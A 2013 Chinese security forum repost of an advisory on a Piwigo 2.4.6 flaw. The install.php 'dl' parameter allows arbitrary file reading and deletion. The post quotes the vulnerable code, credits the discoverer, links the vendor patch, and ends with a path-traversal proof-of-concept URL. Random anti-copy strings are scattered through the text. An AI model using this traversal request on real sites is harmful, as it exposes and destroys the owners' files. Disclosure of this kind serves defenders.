找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。, E! k0 i" R, S7 s9 ?4 ~

& W' z' K9 a; d* ?7 OPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
) H; y9 U& f! B* Q! I9 j====================================================================
' G# R5 C% Y$ A' x/install.php:$ ~" Z8 X$ f$ z. q! P
-------------: j3 _7 `# C* r- ~4 _7 T6 g& t) e; {) V
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))3 _, T( O2 U- L/ f$ T  z. w
114: {1 ?/ N+ t* @" {% u6 o
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
. H3 L2 D9 B2 w" m116:   header('Cache-Control: no-cache, must-revalidate');8 Z  f; ]1 \/ U: ^+ X* o
117:   header('Pragma: no-cache');
, V. B1 P9 Q% s, p) f& d% h5 a, [118:   header('Content-Disposition: attachment; filename="database.inc.php"');. h3 B1 V) |5 C, t" x9 }
119:   header('Content-Transfer-Encoding: binary');! B+ o, L$ S0 c" W
120:   header('Content-Length: '.filesize($filename));
6 t- ?- v6 H6 e+ T& E121:   echo file_get_contents($filename);
; V5 q1 y% x* s122:   unlink($filename);* Z1 {) Y5 C1 o
123:   exit();
9 D, y5 f9 q* T# V! L5 \- z124: }, b# j% i: f6 \. g( w' b
====================================================================
2 ?. Z, P; V; Z
+ B5 M' @. O3 c5 V# X$ d( c+ xTested on: Microsoft Windows 7 Ultimate SP1 (EN)
* m2 X  u/ c) p. O* z6 Q' r+ Z           Apache 2.4.2 (Win32)2 z# V8 ]9 a% ]# f9 M
           PHP 5.4.4
! L6 i# H* N! S3 X9 {- P& Q           MySQL 5.5.25a
7 X* M8 ?$ m$ h7 X" { 9 |1 ^& j2 P0 H& A
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic. t6 J( P" I; p7 q  W
                            @zeroscience9 G- f. ?1 `+ w0 g# _
0 D8 c' d+ ]2 @
Advisory ID: ZSL-2013-51277 N: n6 h& A+ x9 L, [
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php! G% X! c  X8 @* G! N
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
9 G7 `2 Q; P& k9 E+ i$ C2 ` # k" [9 M6 V$ r3 x, h
15.02.2013
+ F% s. k: ~0 v; [$ R* H: K
! h# O4 s2 y; ?. N( \1 w--: f3 I9 i& h* C3 z- T* H
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
: Z! O7 d% h8 Y7 n* I9 o2 q
% R: N8 P# s7 {" N& k+ W9 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表